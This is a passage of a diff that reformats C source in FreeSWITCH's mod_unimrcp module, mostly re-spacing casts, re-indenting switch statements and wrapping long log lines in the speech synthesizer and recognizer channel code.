+ if ((synth_header = (mrcp_synth_header_t *) mrcp_resource_header_prepare(mrcp_message)) == NULL) {
status = SWITCH_STATUS_FALSE;
goto done;
}
@@ -1057,7 +1070,7 @@
goto done;
}
- done:
+ done:
switch_mutex_unlock(schannel->mutex);
return status;
@@ -1072,7 +1085,8 @@
* @param synth_hdr the synthesizer headers to set
* @return SWITCH_STATUS_SUCCESS
*/
-static switch_status_t synth_channel_set_params(speech_channel_t *schannel, mrcp_message_t *msg, mrcp_generic_header_t *gen_hdr, mrcp_synth_header_t *synth_hdr)
+static switch_status_t synth_channel_set_params(speech_channel_t *schannel, mrcp_message_t *msg, mrcp_generic_header_t *gen_hdr,
+ mrcp_synth_header_t *synth_hdr)
{
/* loop through each param and add to synth header or vendor-specific-params */
switch_hash_index_t *hi = NULL;
@@ -1081,10 +1095,10 @@
const void *key;
void *val;
switch_hash_this(hi, &key, NULL, &val);
- param_name = (char *)key;
- param_val = (char *)val;
+ param_name = (char *) key;
+ param_val = (char *) val;
if (!zstr(param_name) && !zstr(param_val)) {
- unimrcp_param_id_t *id = (unimrcp_param_id_t *)switch_core_hash_find(schannel->application->param_id_map, param_name);
+ unimrcp_param_id_t *id = (unimrcp_param_id_t *) switch_core_hash_find(schannel->application->param_id_map, param_name);
if (id) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) %s: %s\n", schannel->name, param_name, param_val);
synth_channel_set_header(schannel, id->id, param_val, msg, synth_hdr);
@@ -1094,7 +1108,7 @@
/* this is probably a vendor-specific MRCP param */
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) (vendor-specific value) %s: %s\n", schannel->name, param_name, param_val);
- apt_string_set(&apt_param_name, param_name); /* copy isn't necessary since apt_pair_array_append will do it */
+ apt_string_set(&apt_param_name, param_name); /* copy isn't necessary since apt_pair_array_append will do it */
apt_string_set(&apt_param_val, param_val);
if (!gen_hdr->vendor_specific_params) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) creating vendor specific pair array\n", schannel->name);
@@ -1104,7 +1118,7 @@
}
}
}
-
+
if (gen_hdr->vendor_specific_params) {
mrcp_generic_header_property_add(msg, GENERIC_HEADER_VENDOR_SPECIFIC_PARAMS);
}
@@ -1139,27 +1153,27 @@
mrcp_resource_header_property_add(msg, SYNTHESIZER_HEADER_VOICE_GENDER);
break;
- case SYNTHESIZER_HEADER_VOICE_AGE: {
- int age = atoi(val);
- if (age > 0 && age < 1000) {
- synth_hdr->voice_param.age = age;
- mrcp_resource_header_property_add(msg, SYNTHESIZER_HEADER_VOICE_AGE);
- } else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) ignoring invalid voice age, %s\n", schannel->name, val);
+ case SYNTHESIZER_HEADER_VOICE_AGE:{
+ int age = atoi(val);
+ if (age > 0 && age < 1000) {
+ synth_hdr->voice_param.age = age;
+ mrcp_resource_header_property_add(msg, SYNTHESIZER_HEADER_VOICE_AGE);
+ } else {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) ignoring invalid voice age, %s\n", schannel->name, val);
+ }
+ break;
}
- break;
- }
- case SYNTHESIZER_HEADER_VOICE_VARIANT: {
- int variant = atoi(val);
- if (variant > 0) {
- synth_hdr->voice_param.variant = variant;
- mrcp_resource_header_property_add(msg, SYNTHESIZER_HEADER_VOICE_VARIANT);
- } else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) ignoring invalid voice variant, %s\n", schannel->name, val);
+ case SYNTHESIZER_HEADER_VOICE_VARIANT:{
+ int variant = atoi(val);
+ if (variant > 0) {
+ synth_hdr->voice_param.variant = variant;
+ mrcp_resource_header_property_add(msg, SYNTHESIZER_HEADER_VOICE_VARIANT);
+ } else {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) ignoring invalid voice variant, %s\n", schannel->name, val);
+ }
+ break;
}
- break;
- }
case SYNTHESIZER_HEADER_VOICE_NAME:
apt_string_assign(&synth_hdr->voice_param.name, val, msg->pool);
@@ -1174,10 +1188,10 @@
case SYNTHESIZER_HEADER_PROSODY_VOLUME:
if (switch_isdigit(*val) || *val == '.') {
synth_hdr->prosody_param.volume.type = PROSODY_VOLUME_TYPE_NUMERIC;
- synth_hdr->prosody_param.volume.value.numeric = (float)atof(val);
+ synth_hdr->prosody_param.volume.value.numeric = (float) atof(val);
} else if (*val == '+' || *val == '-') {
synth_hdr->prosody_param.volume.type = PROSODY_VOLUME_TYPE_RELATIVE_CHANGE;
- synth_hdr->prosody_param.volume.value.relative = (float)atof(val);
+ synth_hdr->prosody_param.volume.value.relative = (float) atof(val);
} else if (!strcasecmp("silent", val)) {
synth_hdr->prosody_param.volume.type = PROSODY_VOLUME_TYPE_LABEL;
synth_hdr->prosody_param.volume.value.label = PROSODY_VOLUME_SILENT;
@@ -1209,7 +1223,7 @@
case SYNTHESIZER_HEADER_PROSODY_RATE:
if (switch_isdigit(*val) || *val == '.') {
synth_hdr->prosody_param.rate.type = PROSODY_RATE_TYPE_RELATIVE_CHANGE;
- synth_hdr->prosody_param.rate.value.relative = (float)atof(val);
+ synth_hdr->prosody_param.rate.value.relative = (float) atof(val);
} else if (!strcasecmp("x-slow", val)) {
synth_hdr->prosody_param.rate.type = PROSODY_RATE_TYPE_LABEL;
synth_hdr->prosody_param.rate.value.label = PROSODY_RATE_XSLOW;
@@ -1240,7 +1254,7 @@
mrcp_resource_header_property_add(msg, SYNTHESIZER_HEADER_SPEECH_LANGUAGE);
break;
- /* unsupported by this module */
+ /* unsupported by this module */
case SYNTHESIZER_HEADER_JUMP_SIZE:
case SYNTHESIZER_HEADER_SPEAKER_PROFILE:
case SYNTHESIZER_HEADER_COMPLETION_CAUSE:
@@ -1266,7 +1280,7 @@
*
* @param schannel the channel
* @return SWITCH_STATUS_SUCCESS if successful
- */
+ */
static switch_status_t speech_channel_stop(speech_channel_t *schannel)
{
switch_status_t status = SWITCH_STATUS_SUCCESS;
@@ -1279,7 +1293,7 @@
method = SYNTHESIZER_STOP;
} else {
method = RECOGNIZER_STOP;
- }
+ }
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) Stopping %s\n", schannel->name, speech_channel_type_to_string(schannel->type));
/* Send STOP to MRCP server */
mrcp_message = mrcp_application_message_create(schannel->unimrcp_session, schannel->unimrcp_channel, method);
@@ -1309,7 +1323,7 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) %s stopped\n", schannel->name, speech_channel_type_to_string(schannel->type));
}
- done:
+ done:
switch_mutex_unlock(schannel->mutex);
return status;
@@ -1323,9 +1337,11 @@
*/
static const char *speech_channel_type_to_string(speech_channel_type_t type)
{
- switch(type) {
- case SPEECH_CHANNEL_SYNTHESIZER: return "SYNTHESIZER";
- case SPEECH_CHANNEL_RECOGNIZER: return "RECOGNIZER";
+ switch (type) {
+ case SPEECH_CHANNEL_SYNTHESIZER:
+ return "SYNTHESIZER";
+ case SPEECH_CHANNEL_RECOGNIZER:
+ return "RECOGNIZER";
}
return "UNKNOWN";
@@ -1409,13 +1425,17 @@
* @param state the channel state
* @return string representation of the state
*/
-static const char *speech_channel_state_to_string(speech_channel_state_t state)
+static const char *speech_channel_state_to_string(speech_channel_state_t state)
{
- switch(state) {
- case SPEECH_CHANNEL_CLOSED: return "CLOSED";
- case SPEECH_CHANNEL_READY: return "READY";
- case SPEECH_CHANNEL_PROCESSING: return "PROCESSING";
- case SPEECH_CHANNEL_ERROR: return "ERROR";
+ switch (state) {
+ case SPEECH_CHANNEL_CLOSED:
+ return "CLOSED";
+ case SPEECH_CHANNEL_READY:
+ return "READY";
+ case SPEECH_CHANNEL_PROCESSING:
+ return "PROCESSING";
+ case SPEECH_CHANNEL_ERROR:
+ return "ERROR";
}
return "UNKNOWN";
@@ -1449,10 +1469,11 @@
{
if (schannel->state == SPEECH_CHANNEL_PROCESSING && state != SPEECH_CHANNEL_PROCESSING) {
/* wake anyone waiting for audio data */
- audio_queue_clear(schannel->audio_queue);
+ audio_queue_clear(schannel->audio_queue);
}
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) %s ==> %s\n", schannel->name, speech_channel_state_to_string(schannel->state), speech_channel_state_to_string(state));
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) %s ==> %s\n", schannel->name, speech_channel_state_to_string(schannel->state),
+ speech_channel_state_to_string(state));
schannel->state = state;
switch_thread_cond_signal(schannel->cond);
return SWITCH_STATUS_SUCCESS;
@@ -1477,17 +1498,18 @@
profile_t *profile = NULL;
int speech_channel_number = get_next_speech_channel_number();
char name[200] = { 0 };
-
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "speech_handle: name = %s, rate = %d, speed = %d, samples = %d, voice = %s, engine = %s, param = %s\n",
- sh->name, sh->rate, sh->speed, sh->samples, sh->voice, sh->engine, sh->param);
+
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO,
+ "speech_handle: name = %s, rate = %d, speed = %d, samples = %d, voice = %s, engine = %s, param = %s\n", sh->name, sh->rate,
+ sh->speed, sh->samples, sh->voice, sh->engine, sh->param);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "voice = %s, rate = %d\n", voice_name, rate);
/* It would be nice if FreeSWITCH let us know which session owns this handle, but it doesn't. So, lets
- make our own unique name */
+ make our own unique name */
switch_snprintf(name, sizeof(name) - 1, "TTS-%d", speech_channel_number);
name[sizeof(name) - 1] = '\0';
-
- if (speech_channel_create(&schannel, name, SPEECH_CHANNEL_SYNTHESIZER, &globals.synth, (uint16_t)rate, sh->memory_pool) != SWITCH_STATUS_SUCCESS) {
+
+ if (speech_channel_create(&schannel, name, SPEECH_CHANNEL_SYNTHESIZER, &globals.synth, (uint16_t) rate, sh->memory_pool) != SWITCH_STATUS_SUCCESS) {
status = SWITCH_STATUS_FALSE;
goto done;
}
@@ -1497,7 +1519,7 @@
if (zstr(profile_name)) {
profile_name = globals.unimrcp_default_synth_profile;
}
- profile = (profile_t *)switch_core_hash_find(globals.profiles, profile_name);
+ profile = (profile_t *) switch_core_hash_find(globals.profiles, profile_name);
if (!profile) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Can't find profile, %s\n", name, profile_name);
status = SWITCH_STATUS_FALSE;
@@ -1512,7 +1534,7 @@
speech_channel_set_param(schannel, "Voice-Name", voice_name);
}
- done:
+ done:
return status;
}
@@ -1527,7 +1549,7 @@
*/
static switch_status_t synth_speech_close(switch_speech_handle_t *sh, switch_speech_flag_t *flags)
{
- speech_channel_t *schannel = (speech_channel_t *)sh->private_info;
+ speech_channel_t *schannel = (speech_channel_t *) sh->private_info;
speech_channel_stop(schannel);
speech_channel_destroy(schannel);
return SWITCH_STATUS_SUCCESS;
@@ -1545,8 +1567,8 @@
static switch_status_t synth_speech_feed_tts(switch_speech_handle_t *sh, char *text, switch_speech_flag_t *flags)
{
switch_status_t status = SWITCH_STATUS_SUCCESS;
- speech_channel_t *schannel = (speech_channel_t *)sh->private_info;
-
+ speech_channel_t *schannel = (speech_channel_t *) sh->private_info;
+
if (zstr(text)) {
status = SWITCH_STATUS_FALSE;
} else {
@@ -1577,7 +1599,7 @@
#ifdef MOD_UNIMRCP_DEBUG_AUDIO_QUEUE
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) adding %ld bytes of padding\n", schannel->name, *datalen - bytes_read);
#endif
- memset((uint8_t *)data + bytes_read, schannel->silence, *datalen - bytes_read);
+ memset((uint8_t *) data + bytes_read, schannel->silence, *datalen - bytes_read);
}
} else {
*datalen = 0;
@@ -1598,7 +1620,7 @@
*/
static void synth_speech_flush_tts(switch_speech_handle_t *sh)
{
- speech_channel_t *schannel = (speech_channel_t *)sh->private_info;
+ speech_channel_t *schannel = (speech_channel_t *) sh->private_info;
speech_channel_stop(schannel);
}
@@ -1612,7 +1634,7 @@
*/
static void synth_speech_text_param_tts(switch_speech_handle_t *sh, char *param, const char *val)
{
- speech_channel_t *schannel = (speech_channel_t *)sh->private_info;
+ speech_channel_t *schannel = (speech_channel_t *) sh->private_info;
speech_channel_set_param(schannel, param, val);
}
@@ -1626,7 +1648,7 @@
*/
static void synth_speech_numeric_param_tts(switch_speech_handle_t *sh, char *param, int val)
{
- speech_channel_t *schannel = (speech_channel_t *)sh->private_info;
+ speech_channel_t *schannel = (speech_channel_t *) sh->private_info;
char *val_str = switch_mprintf("%d", val);
speech_channel_set_param(schannel, param, val_str);
switch_safe_free(val_str);
@@ -1642,7 +1664,7 @@
*/
static void synth_speech_float_param_tts(switch_speech_handle_t *sh, char *param, double val)
{
- speech_channel_t *schannel = (speech_channel_t *)sh->private_info;
+ speech_channel_t *schannel = (speech_channel_t *) sh->private_info;
char *val_str = switch_mprintf("%f", val);
speech_channel_set_param(schannel, param, val_str);
switch_safe_free(val_str);
@@ -1669,7 +1691,7 @@
*/
static apt_bool_t speech_on_session_terminate(mrcp_application_t *application, mrcp_session_t *session, mrcp_sig_status_code_e status)
{
- speech_channel_t *schannel = (speech_channel_t *)mrcp_application_session_object_get(session);
+ speech_channel_t *schannel = (speech_channel_t *) mrcp_application_session_object_get(session);
switch_event_t *event = NULL;
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) Destroying MRCP session\n", schannel->name);
mrcp_application_session_destroy(session);
@@ -1702,10 +1724,11 @@
* @param status the result of the channel add request
* @return TRUE
*/
-static apt_bool_t speech_on_channel_add(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status)
+static apt_bool_t speech_on_channel_add(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel,
+ mrcp_sig_status_code_e status)
{
switch_event_t *event = NULL;
- speech_channel_t *schannel = (speech_channel_t *)mrcp_application_channel_object_get(channel);
+ speech_channel_t *schannel = (speech_channel_t *) mrcp_application_channel_object_get(channel);
/* check status */
if (session && schannel && status == MRCP_SIG_STATUS_CODE_SUCCESS) {
@@ -1714,7 +1737,7 @@
const mpf_codec_descriptor_t *descriptor;
/* what sample rate did we negotiate? */
if (schannel->type == SPEECH_CHANNEL_SYNTHESIZER) {
- descriptor = mrcp_application_sink_descriptor_get(channel);
+ descriptor = mrcp_application_sink_descriptor_get(channel);
} else {
descriptor = mrcp_application_source_descriptor_get(channel);
}
@@ -1722,10 +1745,12 @@
if (descriptor->name.length) {
strncpy(codec_name, descriptor->name.buf, sizeof(codec_name));
}
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) %s channel is ready, codec = %s, sample rate = %d\n", schannel->name, speech_channel_type_to_string(schannel->type), codec_name, schannel->rate);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) %s channel is ready, codec = %s, sample rate = %d\n", schannel->name,
+ speech_channel_type_to_string(schannel->type), codec_name, schannel->rate);
#else
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "(%s) %s channel is ready\n", schannel->name, speech_channel_type_to_string(schannel->type));
-#endif
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "(%s) %s channel is ready\n", schannel->name,
+ speech_channel_type_to_string(schannel->type));
+#endif
speech_channel_set_state(schannel, SPEECH_CHANNEL_READY);
/* notify of channel open */
if (globals.enable_profile_events && switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, MY_EVENT_PROFILE_OPEN) == SWITCH_STATUS_SUCCESS) {
@@ -1740,7 +1765,8 @@
schannel->channel_opened = 1;
} else {
if (schannel) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) %s channel error!\n", schannel->name, speech_channel_type_to_string(schannel->type));
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) %s channel error!\n", schannel->name,
+ speech_channel_type_to_string(schannel->type));
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(unknown) channel error!\n");
}
@@ -1763,9 +1789,10 @@
* @param status the result of the channel remove request
* @return TRUE
*/
-static apt_bool_t speech_on_channel_remove(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status)
+static apt_bool_t speech_on_channel_remove(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel,
+ mrcp_sig_status_code_e status)
{
- speech_channel_t *schannel = (speech_channel_t *)mrcp_application_channel_object_get(channel);
+ speech_channel_t *schannel = (speech_channel_t *) mrcp_application_channel_object_get(channel);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "(%s) %s channel is removed\n", schannel->name, speech_channel_type_to_string(schannel->type));
schannel->unimrcp_channel = NULL;
@@ -1788,7 +1815,7 @@
*/
static apt_bool_t synth_on_message_receive(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_message_t *message)
{
- speech_channel_t *schannel = (speech_channel_t *)mrcp_application_channel_object_get(channel);
+ speech_channel_t *schannel = (speech_channel_t *) mrcp_application_channel_object_get(channel);
if (message->start_line.message_type == MRCP_MESSAGE_TYPE_RESPONSE) {
/* received MRCP response */
if (message->start_line.method_id == SYNTHESIZER_SPEAK) {
@@ -1799,7 +1826,8 @@
speech_channel_set_state(schannel, SPEECH_CHANNEL_PROCESSING);
} else {
/* received unexpected request_state */
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected SPEAK response, request_state = %d\n", schannel->name, message->start_line.request_state);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected SPEAK response, request_state = %d\n", schannel->name,
+ message->start_line.request_state);
speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
}
} else if (message->start_line.method_id == SYNTHESIZER_STOP) {
@@ -1810,12 +1838,14 @@
speech_channel_set_state(schannel, SPEECH_CHANNEL_READY);
} else {
/* received unexpected request state */
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected STOP response, request_state = %d\n", schannel->name, message->start_line.request_state);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected STOP response, request_state = %d\n", schannel->name,
+ message->start_line.request_state);
speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
}
} else {
/* received unexpected response */
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected response, method_id = %d\n", schannel->name, (int)message->start_line.method_id);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected response, method_id = %d\n", schannel->name,
+ (int) message->start_line.method_id);
speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
}
} else if (message->start_line.message_type == MRCP_MESSAGE_TYPE_EVENT) {
@@ -1825,11 +1855,13 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) SPEAK-COMPLETE\n", schannel->name);
speech_channel_set_state(schannel, SPEECH_CHANNEL_READY);
} else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected event, method_id = %d\n", schannel->name, (int)message->start_line.method_id);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected event, method_id = %d\n", schannel->name,
+ (int) message->start_line.method_id);
speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
}
} else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected message type, message_type = %d\n", schannel->name, message->start_line.message_type);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected message type, message_type = %d\n", schannel->name,
+ message->start_line.message_type);
speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
}
@@ -1846,7 +1878,7 @@
static apt_bool_t synth_stream_write(mpf_audio_stream_t *stream, const mpf_frame_t *frame)
{
switch_size_t size = frame->codec_frame.size;
- speech_channel_t *schannel = (speech_channel_t *)stream->obj;
+ speech_channel_t *schannel = (speech_channel_t *) stream->obj;
speech_channel_write(schannel, frame->codec_frame.buffer, &size);
return TRUE;
}
@@ -1862,7 +1894,7 @@
{
/* link to FreeSWITCH ASR / TTS callbacks */
switch_speech_interface_t *speech_interface = NULL;
- if ((speech_interface = (switch_speech_interface_t *)switch_loadable_module_create_interface(module_interface, SWITCH_SPEECH_INTERFACE)) == NULL) {
+ if ((speech_interface = (switch_speech_interface_t *) switch_loadable_module_create_interface(module_interface, SWITCH_SPEECH_INTERFACE)) == NULL) {
return SWITCH_STATUS_FALSE;
}
speech_interface->interface_name = MOD_UNIMRCP;
@@ -1876,7 +1908,7 @@
speech_interface->speech_float_param_tts = synth_speech_float_param_tts;
/* Create the synthesizer application and link its callbacks to UniMRCP */
- if ((globals.synth.app = mrcp_application_create(synth_message_handler, (void *)0, pool)) == NULL) {
+ if ((globals.synth.app = mrcp_application_create(synth_message_handler, (void *) 0, pool)) == NULL) {
return SWITCH_STATUS_FALSE;
}
globals.synth.dispatcher.on_session_update = NULL;
@@ -1889,7 +1921,7 @@
globals.synth.audio_stream_vtable.close_rx = NULL;
globals.synth.audio_stream_vtable.read_frame = NULL;
globals.synth.audio_stream_vtable.open_tx = NULL;
- globals.synth.audio_stream_vtable.close_tx = NULL;
+ globals.synth.audio_stream_vtable.close_tx = NULL;
globals.synth.audio_stream_vtable.write_frame = synth_stream_write;
mrcp_client_application_register(globals.mrcp_client, globals.synth.app, "synth");
@@ -1929,7 +1961,7 @@
*
* @return SWITCH_STATUS_SUCCESS
*/
-static switch_status_t synth_shutdown()
+static switch_status_t synth_shutdown()
{
if (globals.synth.fs_param_map) {
switch_core_hash_destroy(&globals.synth.fs_param_map);
@@ -1950,10 +1982,10 @@
* @param pool memory pool to allocate from
* @return SWITCH_STATUS_SUCCESS if successful
*/
-static switch_status_t grammar_create(grammar_t **grammar, const char *name, grammar_type_t type, const char *data, switch_memory_pool_t *pool)
+static switch_status_t grammar_create(grammar_t ** grammar, const char *name, grammar_type_t type, const char *data, switch_memory_pool_t *pool)
{
switch_status_t status = SWITCH_STATUS_SUCCESS;
- grammar_t *g = (grammar_t *)switch_core_alloc(pool, sizeof(grammar_t));
+ grammar_t *g = (grammar_t *) switch_core_alloc(pool, sizeof(grammar_t));
if (g == NULL) {
status = SWITCH_STATUS_FALSE;
*grammar = NULL;
@@ -1975,13 +2007,19 @@
*/
static const char *grammar_type_to_mime(grammar_type_t type, profile_t *profile)
{
- switch(type) {
- case GRAMMAR_TYPE_UNKNOWN: return "";
- case GRAMMAR_TYPE_URI: return "text/uri-list";
- case GRAMMAR_TYPE_SRGS: return profile->srgs_mime_type;
- case GRAMMAR_TYPE_SRGS_XML: return profile->srgs_xml_mime_type;
- case GRAMMAR_TYPE_NUANCE_GSL: return profile->gsl_mime_type;
- case GRAMMAR_TYPE_JSGF: return profile->jsgf_mime_type;
+ switch (type) {
+ case GRAMMAR_TYPE_UNKNOWN:
+ return "";
+ case GRAMMAR_TYPE_URI:
+ return "text/uri-list";
+ case GRAMMAR_TYPE_SRGS:
+ return profile->srgs_mime_type;
+ case GRAMMAR_TYPE_SRGS_XML:
+ return profile->srgs_xml_mime_type;
+ case GRAMMAR_TYPE_NUANCE_GSL:
+ return profile->gsl_mime_type;
+ case GRAMMAR_TYPE_JSGF:
+ return profile->jsgf_mime_type;
}
return "";
}
@@ -2014,19 +2052,19 @@
status = SWITCH_STATUS_FALSE;
goto done;
}
- r = (recognizer_data_t *)schannel->data;
+ r = (recognizer_data_t *) schannel->data;
r->result = NULL;
r->start_of_input = 0;
/* input timers are started by default unless the start-input-timers=false param is set */
- start_input_timers = (char *)switch_core_hash_find(schannel->params, "start-input-timers");
+ start_input_timers = (char *) switch_core_hash_find(schannel->params, "start-input-timers");
r->timers_started = zstr(start_input_timers) || strcasecmp(start_input_timers, "false");
-
+
/* get the cached grammar */
if (zstr(name)) {
grammar = r->last_grammar;
} else {
- grammar = (grammar_t *)switch_core_hash_find(r->grammars, name);
+ grammar = (grammar_t *) switch_core_hash_find(r->grammars, name);
r->last_grammar = grammar;
}
if (grammar == NULL) {
@@ -2047,7 +2085,7 @@
}
/* allocate generic header */
- generic_header = (mrcp_generic_header_t *)mrcp_generic_header_prepare(mrcp_message);
+ generic_header = (mrcp_generic_header_t *) mrcp_generic_header_prepare(mrcp_message);
if (generic_header == NULL) {
status = SWITCH_STATUS_FALSE;
goto done;
@@ -2069,14 +2107,14 @@
}
/* allocate recognizer-specific header */
- recog_header = (mrcp_recog_header_t *)mrcp_resource_header_prepare(mrcp_message);
+ recog_header = (mrcp_recog_header_t *) mrcp_resource_header_prepare(mrcp_message);
if (recog_header == NULL) {
status = SWITCH_STATUS_FALSE;
goto done;
}
/* set Cancel-If-Queue */
- if (mrcp_message->start_line.version == MRCP_VERSION_2) {
+ if (mrcp_message->start_line.version == MRCP_VERSION_2) {
recog_header->cancel_if_queue = FALSE;
mrcp_resource_header_property_add(mrcp_message, RECOGNIZER_HEADER_CANCEL_IF_QUEUE);
}
@@ -2104,7 +2142,7 @@
goto done;
}
- done:
+ done:
switch_mutex_unlock(schannel->mutex);
return status;
@@ -2145,9 +2183,9 @@
status = SWITCH_STATUS_FALSE;
goto done;
}
-
+
/* set Content-Type and Content-ID in message */
- generic_header = (mrcp_generic_header_t *)mrcp_generic_header_prepare(mrcp_message);
+ generic_header = (mrcp_generic_header_t *) mrcp_generic_header_prepare(mrcp_message);
if (generic_header == NULL) {
status = SWITCH_STATUS_FALSE;
goto done;
@@ -2161,7 +2199,7 @@
mrcp_generic_header_property_add(mrcp_message, GENERIC_HEADER_CONTENT_TYPE);
apt_string_assign(&generic_header->content_id, name, mrcp_message->pool);
mrcp_generic_header_property_add(mrcp_message, GENERIC_HEADER_CONTENT_ID);
-
+
/* put grammar in message body */
apt_string_assign(&mrcp_message->body, data, mrcp_message->pool);
@@ -2190,12 +2228,12 @@
/* Create the grammar and save it */
if ((status = grammar_create(&g, name, type, data, schannel->memory_pool)) == SWITCH_STATUS_SUCCESS) {
- recognizer_data_t *r = (recognizer_data_t *)schannel->data;
+ recognizer_data_t *r = (recognizer_data_t *) schannel->data;
switch_core_hash_insert(r->grammars, g->name, g);
}
- done:
-
+ done:
+
switch_mutex_unlock(schannel->mutex);
switch_safe_free(ldata);
@@ -2216,7 +2254,7 @@
if (zstr(grammar_name)) {
status = SWITCH_STATUS_FALSE;
} else {
- recognizer_data_t *r = (recognizer_data_t *)schannel->data;
+ recognizer_data_t *r = (recognizer_data_t *) schannel->data;
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) Unloading grammar %s\n", schannel->name, grammar_name);
switch_core_hash_delete(r->grammars, grammar_name);
}
@@ -2229,12 +2267,12 @@
*
* @return SWITCH_STATUS_SUCCESS if results available or start of input
*/
-static switch_status_t recog_channel_check_results(speech_channel_t *schannel)
+static switch_status_t recog_channel_check_results(speech_channel_t *schannel)
{
switch_status_t status = SWITCH_STATUS_SUCCESS;
recognizer_data_t *r;
switch_mutex_lock(schannel->mutex);
- r = (recognizer_data_t *)schannel->data;
+ r = (recognizer_data_t *) schannel->data;
if (!zstr(r->result)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) SUCCESS, have result\n", schannel->name);
} else if (r->start_of_input) {
@@ -2255,7 +2293,7 @@
static switch_status_t recog_channel_start_input_timers(speech_channel_t *schannel)
{
switch_status_t status = SWITCH_STATUS_SUCCESS;
- recognizer_data_t *r = (recognizer_data_t *)schannel->data;
+ recognizer_data_t *r = (recognizer_data_t *) schannel->data;
switch_mutex_lock(schannel->mutex);
if (schannel->state == SPEECH_CHANNEL_PROCESSING && !r->timers_started) {
@@ -2272,7 +2310,7 @@
mrcp_application_message_send(schannel->unimrcp_session, schannel->unimrcp_channel, mrcp_message);
}
- done:
+ done:
switch_mutex_unlock(schannel->mutex);
return status;
@@ -2289,7 +2327,7 @@
switch_status_t status = SWITCH_STATUS_SUCCESS;
recognizer_data_t *r;
switch_mutex_lock(schannel->mutex);
- r = (recognizer_data_t *)schannel->data;
+ r = (recognizer_data_t *) schannel->data;
r->start_of_input = 1;
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) start of input\n", schannel->name);
switch_mutex_unlock(schannel->mutex);
@@ -2308,7 +2346,7 @@
switch_status_t status = SWITCH_STATUS_SUCCESS;
recognizer_data_t *r;
switch_mutex_lock(schannel->mutex);
- r = (recognizer_data_t *)schannel->data;
+ r = (recognizer_data_t *) schannel->data;
if (!zstr(r->result)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) result is already set\n", schannel->name);
status = SWITCH_STATUS_FALSE;
@@ -2322,7 +2360,7 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) result:\n\n%s\n", schannel->name, result);
r->result = switch_core_strdup(schannel->memory_pool, result);
- done:
+ done:
switch_mutex_unlock(schannel->mutex);
return status;
@@ -2338,7 +2376,7 @@
static switch_status_t recog_channel_get_results(speech_channel_t *schannel, char **result)
{
